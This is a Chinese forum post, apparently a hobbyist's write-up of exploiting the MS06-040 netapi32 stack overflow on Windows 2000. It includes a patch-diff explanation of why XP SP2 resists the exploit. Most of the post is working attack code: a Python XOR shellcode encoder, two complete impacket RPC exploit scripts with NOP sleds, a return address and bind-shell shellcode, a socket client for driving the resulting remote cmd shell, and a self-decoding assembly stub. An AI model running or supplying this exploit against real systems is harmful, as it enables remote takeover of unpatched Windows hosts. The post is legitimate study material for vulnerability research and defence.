本文概要:
作者在实践ms06-040遇到的一个坑爹的问题。
利用python处理字符串
用python入侵成功后连接的客户端的编码问题
如何用python与impacket包调用rpc(仅供参考)
抛弃原来只会哔~的shellcode利用metasploit制造可shellcode并消除\x00\x00这个敏感字符。不过最终因为metasploit制造的shellcode太jb长,换了一个短小精干shellcode
强烈建议大家读这篇文章之前先读读failwest大大的《深入浅出 ms06-040》,这文章确实是良心货,很多《深入浅出 ms06-040》里提到的东西我将不再在这里赘述。
还有这里并没有实现寄存器的回复(因为作者已经崩溃了)
最后一句废话,搞黑客真tmd自虐。
正文:
最近诸事不顺,回家没网络,借书证丢了,作业一堆堆,六级三百来,打炮打不出,开个wps还t羊驼给我崩了,唯一的安慰便是钢了3个月,对failwest大大的 《深入浅出 ms06-040》终于实践完了.
1.在实践ms06-040遇到的一个坑爹的问题
实践中一个遇到问题,一开始我以xp2的虚拟机做靶机,发现入侵不成功,用metaploits去入侵,发现居然没有xp2 的这个选项,一阵大囧,然后决定直接看看xp2里的netapi32的汇编码,赫然发现,原来在win2000出问题的地方,到xp2后好像被修正了!(下面win2000汇编码图的来源为《深入浅出ms06-040》,xp2中的dll为《深入浅出ms06-040》附件中的打补丁前的xp2 netapi32.dll)
Ebx变成411h,
Win2000中的canonicalizepathname函数中的4号串的长度约束为411h,因为前面netpwpathtype()缘故4号串最大长约为206字节
Ebx仍为411h
Win2000中的canonicalizepathname函数中1号串长度没有限制,4号串
+1号串的长度约束为411h*2=822h字节>414h所以可以溢出
这是用ida观察的canonicalizepathname函数的部分汇编码,发现对4号串长度的约束从原来的414变成了208。
这是用ida观察的canonicalizepathname函数的部分汇编码,发现对4号串+1号串的长度约束为不能超过207h*2=414h,栈空间为414h,不能溢出。
我曾怀疑是我的xp2已经打了补丁了,然后我去网上找了疑似failwest大大当年给的附件里的打补丁前的netapi.dll看,发现结果一样,用diffingsuite对比补丁前后dll不同,发现只有这个不同,
打补丁后的dll多出的判断为,将4号串+1号串的长度与1号串的长度对比
之后查看metasploit的ms06-040 的入侵模块发现里面根本没有xp2的选项,最后只能怀疑ms06-040无法入侵xp2,乖乖用win2k吧。
2.利用python处理字符串
都说python是黑客最喜欢用的语言,以前一直不知道为什么,现在开始有点理解了,python在处理字符串时方便的不能再方便,一开始我想用metaploit生成的漏洞直接使用,结果发现程序没有出现任何异常,调试进去查看,发现函数接收到的字符串长度与预期长度不同,这个应该就是因为metasploit里的shellcode有\x00\x00因为程序接收字符串是把他当成unicode字符串,所以遇到\x00\x00便以为到达结尾,提前截断,导致长度不够,那么我们只能把他做成自解码的shellcode。
我只做的自解码是先把原shellcode一个一个字节的与44h做异或运算,之后再在其上加一段汇编代码在运行时将其还原(详细步骤最后有说),metaploit的shellcode大概三百多字节,要一个一个自己手动去算会出人命的,于是便可用上pyhton,用python编程不用像别的那样考虑循环次数,而且可以很轻松的把一长串的字符串转换成一个一个十六进制数,异或之后再转换回来,perfit,如果用c++光是怎么转换字符串与数字就很烦人了。
示例:
str=r'''8B EC 81 ED 00 04 00 00
81 EC 50 04 00 00 B8 75 73 65 72 89 45 F0 B9 33
32 2E 64 89 4D F4 66 BA 6C 6C 66 89 55 F8 B0 00
88 45 FA 8D 4D F0 51 B8 CF 05 E7 77 FF D0 33 DB
53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50
53 B8 98 80 E1 77 FF D0 6A 00 B8 1A E0 E6 77 FF
D0
'''
#h=str.replace('\\x','')
v=str.split()
i=0
a=[None]*150
re=""
for word in v:
a[i]=int(word,16)^68
a[i]=hex(a[i])
re=re+a[i]
#re=re+"\\x"
i=i+1
b=re.replace('0x','\\x')
print b
3.用python入侵成功后连接的客户端的编码问题、
在入侵成功后根据自己选择的shellcode靶机会作出相应的动作,我选的是让他创建一个cmd进程并绑定6666端口,我想远程控制靶机,我这里得写一个socket的客户端,因为那边是cmd,我发送的命令必须是ascii格式,因为对方是windows返回的格式是mbcs,又因为里面经常有中文,我得用gbk格式显示出来,一旦这些格式处理不好,可能对方无法解析我们的命令,或显示返回值得到乱码,或报错。
Python编码转换过程大概如此,字符串在Python内部的表示是unicode编码,因此,在做编码转换时,通常需要以unicode作为中间编码,即先将其他编码的字符串解码(decode)成unicode,再从unicode编码(encode)成另一种编码。
那么我先用encoding=utf8 把输入命令变成unicode,然后用encode('ascii')变成ascii码发送,当接收格式为mbcs的返回值时,用decode('mbcs')变成unicode,再用encode('gbk')转换成gbk 再print
示例:
#encoding=utf8
'''
Created on 20 Sep 2012
@author: Administrator
'''
import socket
s=socket.socket()
s.connect(('192.168.128.128',6666))
s.settimeout(3)
while(1):
ins=raw_input('go on?')
if ins=='y':
com=raw_input('commend')
com.encode('ascii')
com=com+'\x0A'
s.send(com)
while(1):
try:
h=s.recv(1024).decode('mbcs')
print h.encode('gbk')
except socket.timeout:
break
else:
break
s.close()
这里强烈推荐你们看看连接,方法我是从这里学的,写的很不错
http://hi.baidu.com/tornadory/item/4c6a2d37599d09352e20c4fb
4如何用python与impacket包调用rpc(仅供参考)
下面要说的是如何用python发送rpc,建议大家先看看impacket里的doc,里面有ms05-039的范例。
我们要远程入侵就得,用rpc远程调用这个函数,上网一查听大大们说python加impacket包好用,但一准备用的时候发现,idl与我要发的参数不知道该怎么对应,当时还没看《深入浅出ms06-040》,网上也没资料,磨了半个月不知所谓,淡痛的是一抽一抽的。后来看到有人说了这个链接,而我也开始用wireshark抓包了,赫然发现里面惊人的对应关系,
上图是msdn的解释,下图是wireshark的截图,恍然大悟,圣光从天而降。
Idl与我们所要发的参数的对应关系一目了然。
于是我得出了这样一段代码
from impacket.dcerpc import transport,dcerpc_v4
from impacket import uuid
from impacket.structure import Structure
from ctypes import *
class abc(Structure):
alignment=4
structure=(
('reid','<L'),
('maxcounts','<L'),#severunc
('offsets','<L'),
('actuals','<L'),
('severunc','z'),
('maxcountp','<L'),#patn
('offsetp','<L'),
('actualp','<L'),
('path',':'),
('maxbuf','<L'),
('maxcountpr','<L'),#prefix
('offsetpr','<L'),
('actualpr','<L'),
('prefix',':'),
('pathtype','<L'),
('flag','<L'),
)
query=abc()
query['reid']=0x11111111
query['maxcounts']=0x1
query['offsets']=0
query['actuals']=0x1
query['severunc']=''
query['maxcountp']=0x191
query['offsetp']=0
query['actualp']=0x191
query['path']='\x90'*0x31A+'\x90\x90\xC5\xF9\xE7\x77'
query['maxbuf']=0x440
query['maxcountpr']=0x7E
query['offsetpr']=0
query['actualpr']=0x7E#8Bdidn't change
shellcode="\x8B\xEC\x66\x81\xED\x00\x04\x66\x81\xEC\x50\x04\x66\x83\xC1\x3A\x8B\xC1\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99"+\
"\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"+\
"\x49\x1C\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66"+\
"\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C"+\
"\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45"+\
"\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD"+\
"\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71"+\
"\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA"+\
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C"+\
"\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7"+\
"\x75\xB4\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13"+\
"\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD"+\
"\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50"+\
"\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24"+\
"\x2D\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50"+\
"\x50\x54\x50\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x5F"
query['prefix']='\x90'*0x28+shellcode
query['pathtype']=44
query['flag']=0
stringbinding="ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding%={
'host':'192.168.128.128',
'pipe':'browser',
'port':445,
}
transp=transport.DCERPCTransportFactory(stringbinding)
transp.connect()
dce=transp.DCERPC_class(transp)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce.call(0x1f,query)
除了里面的maxcount与actualcount(应该是对应参数的允许最大值与实际值吧)的数字巨难调之外,其他皆算顺利,当时老子看着我的代码就像saber看着圣杯一样,然后金闪闪出现了,(这个原自我看的一个动漫,不懂可忽略),你说搞这些总是在就要成功的时候给你出乱子,运行程序之后靶机什么都没发生,没有崩,也没有绑定端口。在netwpathcanonicalie入口加断点调试之后,程序并没有到函数入口,而是在另一处地方停了下来,下面显示exception 0x0000c6c。连按几次运行之后才跳到函数入口,然后入侵成功,以前以为是正常现象,现在才发现除非别人正在用调试器调试service进程,不然别想入侵成功。坑爹啊!!老子连节操带淡淡就地碎掉。调试技术渣,只能瞎猜,我当时想了很多可能性:是否要分成几份发送,是否要换端口,是否impacket包出问题,是否vmware出问题,一定是这个三次元的渣渣世界出了问题。最后在怒看两集《人类衰退之后》之后再与impacket的范例一一对照,终于发现问题。
原理应该与上面敏感字符的问题一样,我在path与prefix参数最后漏了“\x00\x00”,而且actualcount的值要考虑上这两个“\x00\x00”,因为程序是以“\x00\x00”unicode字符串的终结,那么没有“\x00\x00”就得出问题,具体出什么问题我也不知。问题终于解决,但这方法太让人纠结,还有更好的。
用pythongui打开impacket包里的structure.py文件,;里面有注释(太长我不贴出来了,自己去找吧)一开始我英语苦手看不懂(同学们要好好学英语啊)后来终于懂了。
里面有一句这个
w DCE-RPC/NDR string (it's a macro for [ '<L=(len(field)+1)/2','"\x00\x00\x00\x00','<L=(len(field)+1)/2',':' ]
意思便是
('maxcountp','<L'),#patn
('offsetp','<L'),
('actualp','<L'),
('path',':'),
可由
('severunc','w'),替代,不用在算那些诡异的数字了。
最后的示例程序:
from impacket.dcerpc import transport,dcerpc_v4
from impacket import uuid
from impacket.structure import Structure
from ctypes import *
class abc(Structure):
alignment=4
structure=(
('reid','<L'),
('severunc','w'),
('path','w'),
('maxbuf','<L'),
('prefix','w'),
('pathtype','<L'),
('flag','<L'),
)
query=abc()
query['reid']=0x11111111
query['severunc']=''
query['path']='\x90'*0x31A+'\x90\x90\xC5\xF9\xE7\x77\x00\x00'
query['maxbuf']=0x440
shellcode="\x8B\xEC\x66\x81\xED\x00\x04\x66\x81\xEC\x50\x04\x66\x83\xC1\x3A\x8B\xC1\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99"+\
"\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"+\
"\x49\x1C\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66"+\
"\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C"+\
"\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45"+\
"\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD"+\
"\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71"+\
"\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA"+\
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C"+\
"\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7"+\
"\x75\xB4\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13"+\
"\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD"+\
"\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50"+\
"\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24"+\
"\x2D\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50"+\
"\x50\x54\x50\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x5F\x00\x00"
query['prefix']='\x90'*0x28+shellcode
query['pathtype']=44
query['flag']=0
stringbinding="ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding%={
'host':'192.168.128.128',
'pipe':'browser',
'port':445,
}
transp=transport.DCERPCTransportFactory(stringbinding)
transp.connect()
dce=transp.DCERPC_class(transp)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce.call(0x1f,query)
5抛弃原来只会哔~的shellcode利用metasploit制造可shellcode并消除\x00\x00这个敏感字符
最后说一下如何利用metasploit做shellcode,并除去敏感字符。
安装metasploit,打开metasploit->dev_msfgui.bat->payloads->windows->
Shell->bindtcp->填rhost的值->generate 生成shellcode
之后把shellcode用第二小节提到的处理字符串的那段python代码处理(即每节与44h异或)
之后把 _asm{
jmp label3;
label1:
pop ebx;
dec ebx;
xor ecx,ecx;
mov cl,0x54;
label2:
xor byte ptr ds:[ebx+ecx],68;
loop label2;
jmp label4;
label3:
call label1;
label4:
的机器码加到shellcode的前面便可,具体原理大大们的《0day软件-漏洞分析技术》有说实在不想写了。但是这段shellcode在这一次实验里没用,只是备着以后用的,因为太长了,超过了414h字节了,所以一段短小精悍是很有用的,《深入ms06-040》推荐了《write small shellcode》这文章,挺好的,里面的191字节shellcode可以一用。
好了,我想要说的就是这些,大家也看到了,琢磨这个真tm是自虐,不过很遗憾我是个M,
而且成功之后略爽,我一把我走的弯路说了出来,顺便求邀请码,祝各位一路顺风。
疑似《深入浅出ms6-040》1.7z
疑似《深入浅出ms6-040》2.7z
疑似《深入浅出ms6-040》3.7z
疑似《深入浅出ms6-040》4.7z
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课